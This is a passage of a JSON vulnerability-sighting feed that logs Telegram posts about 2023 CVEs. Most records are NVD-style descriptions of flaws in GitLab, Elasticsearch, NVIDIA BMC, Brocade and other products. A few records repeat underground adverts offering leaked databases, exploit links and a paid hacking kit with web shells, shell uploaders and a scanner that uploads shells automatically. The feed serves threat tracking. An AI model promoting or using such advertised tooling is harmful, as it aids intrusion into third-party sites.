\u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043f\u043e\u043a\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2023-10-12T19:17:31.000000Z"}, {"uuid": "640b7bbc-0633-4db2-b48d-0757e9cbae29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3115", "type": "seen", "source": "https://t.me/cibsecurity/71270", "content": "\u203c CVE-2023-3115 \u203c\n\nAn issue has been discovered in GitLab EE affecting all versions affecting all versions from 11.11 prior to 16.2.8, 16.3 prior to 16.3.5, and 16.4 prior to 16.4.1. Single Sign On restrictions were not correctly enforced for indirect project members accessing public members-only project repositories.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-29T12:42:30.000000Z"}, {"uuid": "de8247d5-ed9f-4c1f-84f6-ceefbdc5caa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "https://t.me/crackcodes/4390", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-09-28T18:37:41.000000Z"}, {"uuid": "b2c633e2-9d22-43b4-8ccf-7cbccb45a0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "https://t.me/crackcodes/4382", "content": "\ud83d\udd78Black Wallpaper HD Background App Data Leak : Download\n\n\ud83e\udeacPlayTube CVE-2023-4714 Exploit : Check\n\n\ud83d\udc38PaperCut NG CVE-2023-4568 Exploit : Check\n\n\ud83d\udcccPrestashop CVE-2023-39677 Exploit : Check\n\n\ud83d\udccdMicrosoft SharePoint: CVE-2023-29357 Exploit : Check\n\n\ud83d\udc32Cisco CVE-2023-20209 Exploit : Check\n\n\ud83d\udcefElasticsearch Exploit-CVE-2023-31419 : Check\n\n\ud83e\ude85Chinese Maoxin Database Leak : Download\n\n\ud83d\udc7e\ud83d\udcdfNSA Equation Group Hacking Tools Leaked : Download", "creation_timestamp": "2023-10-10T07:12:43.000000Z"}, {"uuid": "d6b99c30-9e2a-4387-8872-5efac7ef7292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "published-proof-of-concept", "source": "https://t.me/jokerplstaeen/17338", "content": "\u200b\u200bCVE-2023-31779\n\nStored XSS vulnerability exists in the \"Reaction to comment\" feature. An attacker with user privilege on kanban board can execute JavaScript code in the browsers of users who open card with malicious reaction.\n\nhttps://github.com/jet-pentest/CVE-2023-31779\n\n#cve #cybersecurity #infosec", "creation_timestamp": "2023-05-24T14:40:29.000000Z"}, {"uuid": "286f77ee-bb8e-4e87-bd79-85cf6ee5660e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31102", "type": "published-proof-of-concept", "source": "Telegram/AvN7Age6uLpY01dCEzLiPHue5SF0A30PI9WjjT30cibJ2Bc", "content": "", "creation_timestamp": "2023-11-03T20:05:09.000000Z"}, {"uuid": "166f6aaa-c32f-4071-b785-676a5f953f09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/JATENGSEMARANG/1563", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu & Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime & Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-20T10:03:43.000000Z"}, {"uuid": "e3e1134a-217a-41d7-b9dd-deb38d63c6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "https://t.me/JATENGSEMARANG/1545", "content": "\ud83d\udce3 JYU TOOLS - UPDATE VIP 1.4\nWe are updating our VIP Tools, If you interested to Purchases Contact @eouxx1.\n\n\ud83d\udda5 Update: Exploit Shells, Uploaders, Wso, Filemanager more Reliable and Focused to our Private Path\n\ud83d\udda5 Update: System Scanner for Exploit Shells, Uploaders, Wso, Filemanager\n\ud83d\udda5 Update: Update private path from 721 Lines of Path to 80.000+\n\ud83d\udda5 Update: Zone-x Sec Grabber with Options\n\ud83d\udda5 Note: Improved and Monitoring our Tools.\n\ud83d\udda5 Added: Grab Domain Keyword\n\ud83d\udda5 Added: Grab Domain By Extension\n\ud83d\udda5 Added: Shell Cracker, Will Bruteforcing Shell with Password.\n\ud83d\udda5 Added: Subdomain Grabber \n\ud83d\udda5 Added: Defacer-net Grabber\n\ud83d\udda5 Added: Defacer-mirror Grabber\n\ud83d\udda5 Added: New Menu (Filtering Menu & Cve Menu)\n\ud83d\udda5 Added: Filter Combo Logs (Can Get go.id ac.id sch.id Site!)\n\ud83d\udda5 Added: Cve-2017-9841 Scanner\n\ud83d\udda5 Added: Cve-2022-4395 Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime & Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-19T15:32:09.000000Z"}, {"uuid": "b99d0c0d-b24d-4806-b15c-c3e9a6e1da37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31424", "type": "seen", "source": "https://t.me/cibsecurity/69510", "content": "\u203c CVE-2023-31424 \u203c\n\nBrocade SANnav Web interface before Brocade SANnav v2.3.0 and v2.2.2a allows remote unauthenticated users to bypass web authentication and authorization.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T07:12:53.000000Z"}, {"uuid": "bf8e9900-4e3a-4fad-9c14-896f24f18266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31506", "type": "seen", "source": "https://t.me/ctinow/198444", "content": "https://ift.tt/IqgMShp\nCVE-2023-31506 | Grav up to 1.7.44 ISINDEX Element onmouseover cross site scripting", "creation_timestamp": "2024-03-02T18:51:55.000000Z"}, {"uuid": "adb07fe9-aa97-442d-82cd-82612891a12d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31424", "type": "seen", "source": "https://t.me/ctinow/197029", "content": "https://ift.tt/J26nqDV\nCVE-2023-31424 Brocade SANnav Authentication Bypass Vulnerability", "creation_timestamp": "2024-02-29T21:31:36.000000Z"}, {"uuid": "4e8139ec-f213-4add-9107-96f3f13108e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31002", "type": "seen", "source": "https://t.me/ctinow/198028", "content": "https://ift.tt/0w1rnoG\nCVE-2023-31002 | IBM Security Verify Access Appliance up to 10.0.6.1 missing encryption (XFDB-254657)", "creation_timestamp": "2024-03-01T22:16:41.000000Z"}, {"uuid": "09d25054-6ab5-486d-91ea-fbe01a5938c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31714", "type": "seen", "source": "https://t.me/cibsecurity/69496", "content": "\u203c CVE-2023-31714 \u203c\n\nChitor-CMS before v1.1.2 was discovered to contain multiple SQL injection vulnerabilities.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-31T02:26:03.000000Z"}, {"uuid": "3bd4f299-342a-415f-afef-ad1d4978e781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31423", "type": "seen", "source": "https://t.me/ctinow/197030", "content": "https://ift.tt/h3fusSE\nCVE-2023-31423 Brocade SANnav Information Disclosure Vulnerability", "creation_timestamp": "2024-02-29T21:31:37.000000Z"}, {"uuid": "c00f8446-8520-4ada-8e91-9819c378a7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31271", "type": "seen", "source": "https://t.me/ctinow/201258", "content": "https://ift.tt/JdUAuyb\nCVE-2023-31271 | Intel VROC Software prior 8.0.8.1001 access control (intel-sa-00953)", "creation_timestamp": "2024-03-06T12:11:35.000000Z"}, {"uuid": "d9672047-56bf-41b9-9a14-65ad3a6a11db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31189", "type": "seen", "source": "https://t.me/ctinow/201257", "content": "https://ift.tt/HhmAkWC\nCVE-2023-31189 | Intel Server Product OpenBMC prior 1.09 improper authentication (intel-sa-00922)", "creation_timestamp": "2024-03-06T12:11:34.000000Z"}, {"uuid": "8ddb2f21-bd35-4c09-938b-8099a627b80e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31416", "type": "seen", "source": "https://t.me/cibsecurity/73001", "content": "\u203c CVE-2023-31416 \u203c\n\nSecret token configuration is never applied when using ECK <2.8 with APM Server >=8.0. This could lead to anonymous requests to an APM Server being accepted and the data ingested into this APM deployment.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T22:16:08.000000Z"}, {"uuid": "53ad5b34-02ca-4194-b98e-478bec6efb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31418", "type": "seen", "source": "https://t.me/cibsecurity/72999", "content": "\u203c CVE-2023-31418 \u203c\n\nAn issue has been identified with how Elasticsearch handled incoming requests on the HTTP layer. An unauthenticated user could force an Elasticsearch node to exit with an OutOfMemory error by sending a moderate number of malformed HTTP requests. The issue was identified by Elastic Engineering and we have no indication that the issue is known or that it is being exploited in the wild.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T22:16:06.000000Z"}, {"uuid": "458578e9-1fbf-4222-9ff6-0f3ff8c5153c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31417", "type": "seen", "source": "https://t.me/cibsecurity/72998", "content": "\u203c CVE-2023-31417 \u203c\n\nElasticsearch generally filters out sensitive information and credentials before logging to the audit log. It was found that this filtering was not applied when requests to Elasticsearch use certain deprecated URIs for APIs. The impact of this flaw is that sensitive information such as passwords and tokens might be printed in cleartext in Elasticsearch audit logs. Note that audit logging is disabled by default and needs to be explicitly enabled and even when audit logging is enabled, request bodies that could contain sensitive information are not printed to the audit log unless explicitly configured.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T22:16:05.000000Z"}, {"uuid": "d708e11d-6183-473b-a55a-24028efba2f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31422", "type": "seen", "source": "https://t.me/cibsecurity/72937", "content": "\u203c CVE-2023-31422 \u203c\n\nAn issue was discovered by Elastic whereby sensitive information is recorded in Kibana logs in the event of an error. The issue impacts only Kibana version 8.10.0 when logging in the JSON layout or when the pattern layout is configured to log the %meta pattern. Elastic has released Kibana 8.10.1 which resolves this issue. The error object recorded in the log contains request information, which can include sensitive data, such as authentication credentials, cookies, authorization headers, query params, request paths, and other metadata. Some examples of sensitive data which can be included in the logs are account credentials for kibana_system, kibana-metricbeat, or Kibana end-users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T07:44:33.000000Z"}, {"uuid": "c3fafa8e-1b83-4d34-9252-dacb82bd00ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "https://t.me/cibsecurity/72995", "content": "\u203c CVE-2023-31419 \u203c\n\nA flaw was discovered in Elasticsearch, affecting the _search API that allowed a specially crafted query string to cause a Stack Overflow and ultimately a Denial of Service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T22:16:02.000000Z"}, {"uuid": "154512a7-11da-429e-8845-af39643d075d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31132", "type": "seen", "source": "https://t.me/cibsecurity/69924", "content": "\u203c CVE-2023-31132 \u203c\n\nCacti is an open source operational monitoring and fault management framework. Affected versions are subject to a privilege escalation vulnerability. A low-privileged OS user with access to a Windows host where Cacti is installed can create arbitrary PHP files in a web document directory. The user can then execute the PHP files under the security context of SYSTEM. This allows an attacker to escalate privilege from a normal user account to SYSTEM. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:34.000000Z"}, {"uuid": "2fc4efb4-afa9-436f-ba18-288f66559165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31421", "type": "seen", "source": "https://t.me/cibsecurity/72930", "content": "\u203c CVE-2023-31421 \u203c\n\nIt was discovered that when acting as TLS clients, Beats, Elastic Agent, APM Server, and Fleet Server did not verify whether the server certificate is valid for the target IP address; however, certificate signature validation is still performed. More specifically, when the client is configured to connect to an IP address (instead of a hostname) it does not validate the server certificate's IP SAN values against that IP address and certificate validation fails, and therefore the connection is not blocked as expected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-26T07:44:26.000000Z"}, {"uuid": "3ba91079-9e06-4c9f-972a-e35931fa361d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31808", "type": "seen", "source": "https://t.me/cibsecurity/70727", "content": "\u203c CVE-2023-31808 \u203c\n\nTechnicolor TG670 10.5.N.9 devices contain multiple accounts with hard-coded passwords. One account has administrative privileges, allowing for unrestricted access over the WAN interface if Remote Administration is enabled.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-19T18:29:28.000000Z"}, {"uuid": "ca7e57f2-581a-4c9f-af9a-4a50b9f9fbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3112", "type": "seen", "source": "https://t.me/cibsecurity/72840", "content": "\u203c CVE-2023-3112 \u203c\n\nA vulnerability was reported in Elliptic Labs Virtual Lock Sensor for ThinkPad T14 Gen 3 that could allow an attacker with local access to execute code with elevated privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-25T22:39:27.000000Z"}, {"uuid": "a4b28323-0b37-4fbd-8846-469422b2a788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31581", "type": "seen", "source": "https://t.me/cibsecurity/72837", "content": "\u203c CVE-2023-31581 \u203c\n\nDromara Sureness before v1.0.8 was discovered to use a hardcoded key.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-25T22:39:23.000000Z"}, {"uuid": "a7334e55-3402-4d4e-bd14-b3562aab9b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31122", "type": "seen", "source": "https://t.me/cibsecurity/72759", "content": "\u203c CVE-2023-31122 \u203c\n\nOut-of-bounds Read vulnerability in mod_macro of Apache HTTP Server.This issue affects Apache HTTP Server: through 2.4.57.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-23T12:37:24.000000Z"}, {"uuid": "559639a8-c299-4e14-aaa5-2088b2cd282a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31015", "type": "seen", "source": "https://t.me/cibsecurity/70764", "content": "\u203c CVE-2023-31015 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in the REST service where a host user may cause as improper authentication issue. A successful exploit of this vulnerability may lead to escalation of privileges, information disclosure, code execution, and denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:07.000000Z"}, {"uuid": "ba029b0a-098a-4b41-9235-08b5637fccfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31010", "type": "seen", "source": "https://t.me/cibsecurity/70763", "content": "\u203c CVE-2023-31010 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in IPMI, where an attacker may cause improper input validation. A successful exploit of this vulnerability may lead to escalation of privileges, information disclosure, and denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:05.000000Z"}, {"uuid": "599b0fc8-b828-44b8-888d-e317f044dffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31005", "type": "seen", "source": "https://t.me/ctinow/192920", "content": "https://ift.tt/CRct79G\nCVE-2023-31005 | IBM Security Access Manager Container up to 10.0.6.1 Security Configuration privileges management (XFDB-254767)", "creation_timestamp": "2024-02-25T15:41:34.000000Z"}, {"uuid": "0e9603ae-c0f3-42b5-b933-4d2af9d693a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31006", "type": "seen", "source": "https://t.me/ctinow/192918", "content": "https://ift.tt/qaVG6m8\nCVE-2023-31006 | IBM Security Access Manager Container up to 10.0.6.1 DSC Server resource consumption (XFDB-254776)", "creation_timestamp": "2024-02-25T15:41:32.000000Z"}, {"uuid": "a6a40774-59a7-49ea-8f79-089a7889d6f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31004", "type": "seen", "source": "https://t.me/ctinow/192917", "content": "https://ift.tt/KdcNkEM\nCVE-2023-31004 | IBM Security Access Manager Container up to 10.0.6.1 channel accessible (XFDB-254765)", "creation_timestamp": "2024-02-25T15:41:30.000000Z"}, {"uuid": "7f4663fb-ebf9-4b40-ba0d-b2a0080c9954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31011", "type": "seen", "source": "https://t.me/cibsecurity/70761", "content": "\u203c CVE-2023-31011 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in the REST service where an attacker may cause improper input validation. A successful exploit of this vulnerability may lead to escalation of privileges and information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:03.000000Z"}, {"uuid": "f3d2d4bc-f713-4557-8366-760d51edb214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31728", "type": "seen", "source": "https://t.me/ctinow/186775", "content": "https://ift.tt/nb2RiCd\nCVE-2023-31728", "creation_timestamp": "2024-02-17T05:21:48.000000Z"}, {"uuid": "8170c3ba-f2a8-4036-9f37-38e2efb74e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31654", "type": "seen", "source": "https://t.me/ctinow/186993", "content": "https://ift.tt/jTsiPnm\nCVE-2023-31654 | Redis Raft up to master-7b46079 alloc.c hiredisAllocFns Privilege Escalation (Issue 600)", "creation_timestamp": "2024-02-17T17:46:21.000000Z"}, {"uuid": "e4509ff1-3e35-45fd-80a9-decdb7e38549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31002", "type": "seen", "source": "https://t.me/ctinow/180873", "content": "https://ift.tt/vJOXPQA\nCVE-2023-31002", "creation_timestamp": "2024-02-07T18:32:12.000000Z"}, {"uuid": "39aa3416-6c6a-4927-bd23-47c596cebba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31582", "type": "seen", "source": "https://t.me/ctinow/180962", "content": "https://ift.tt/C5zvABn\nCVE-2023-31582 | Oracle Communications Cloud Native Core Unified Data Repository Signaling unknown vulnerability", "creation_timestamp": "2024-02-07T21:17:03.000000Z"}, {"uuid": "4a5d5ebc-932d-40e5-9cdf-7353eae443df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31122", "type": "seen", "source": "https://t.me/ctinow/180622", "content": "https://ift.tt/aINgn8j\nCVE-2023-31122 | Oracle Communications Unified Assurance up to 5.5.19/6.0.3 Core denial of service", "creation_timestamp": "2024-02-07T11:07:03.000000Z"}, {"uuid": "41b9ec10-bbc8-4461-95b3-b034e2ba0c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31012", "type": "seen", "source": "https://t.me/cibsecurity/70771", "content": "\u203c CVE-2023-31012 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in the REST service where an attacker may cause improper input validation. A successful exploit of this vulnerability may lead to escalation of privileges and information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:17.000000Z"}, {"uuid": "f3d6be80-9c6b-450e-8644-f46d5260a4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31013", "type": "seen", "source": "https://t.me/cibsecurity/70768", "content": "\u203c CVE-2023-31013 \u203c\n\nNVIDIA DGX H100 BMC contains a vulnerability in the REST service, where an attacker may cause improper input validation. A successful exploit of this vulnerability may lead to escalation of privileges and information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-20T07:30:10.000000Z"}, {"uuid": "82bba5cf-11a9-4e84-8f6f-8044276f5853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31506", "type": "seen", "source": "https://t.me/ctinow/185482", "content": "https://ift.tt/9vmBsxz\nCVE-2023-31506 Exploit", "creation_timestamp": "2024-02-15T13:16:20.000000Z"}, {"uuid": "8e4c9484-9534-4845-9fe0-02a0ed5f2761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31486", "type": "seen", "source": "https://t.me/ctinow/180781", "content": "https://ift.tt/VNtPTiy\nCVE-2023-31486 | Oracle Communications Cloud Native Core Network Repository Function Install/Upgrade Remote Code Execution", "creation_timestamp": "2024-02-07T16:16:45.000000Z"}, {"uuid": "f51fad9e-561b-441e-83b6-772a301164b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3178", "type": "seen", "source": "https://t.me/ctinow/179886", "content": "https://ift.tt/OdfgyXK\nCVE-2023-3178 | POST SMTP Mailer Plugin up to 2.5.6 on WordPress AJAX Action manage_postman_smtp cross-site request forgery", "creation_timestamp": "2024-02-06T10:41:44.000000Z"}, {"uuid": "1b7559fe-8d87-4a7a-8887-4d414d2f739c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31505", "type": "seen", "source": "https://t.me/ctinow/190684", "content": "https://ift.tt/9xNealS\nCVE-2023-31505 | Schlix CMS 2.2.8-1 unrestricted upload", "creation_timestamp": "2024-02-22T12:46:49.000000Z"}, {"uuid": "cfbaf2ce-196c-4746-867b-5afb02d9b3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31486", "type": "seen", "source": "https://t.me/ctinow/180824", "content": "https://ift.tt/nLtuZKF\nCVE-2023-31486 | Oracle Communications Cloud Native Core Network Slice Selection Function Install/Upgrade certificate validation", "creation_timestamp": "2024-02-07T16:42:05.000000Z"}, {"uuid": "edb3983a-412e-4eb4-87d6-2e9d7f082312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31505", "type": "seen", "source": "https://t.me/ctinow/180387", "content": "https://ift.tt/hzUpIQJ\nCVE-2023-31505 Exploit", "creation_timestamp": "2024-02-06T23:16:55.000000Z"}, {"uuid": "2a68b757-3d47-4031-b7c1-56c8c790982d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31582", "type": "seen", "source": "https://t.me/ctinow/180901", "content": "https://ift.tt/QrnM6Xq\nCVE-2023-31582 | Oracle Communications Cloud Native Core Network Repository Function Install/Upgrade unknown vulnerability", "creation_timestamp": "2024-02-07T18:46:59.000000Z"}, 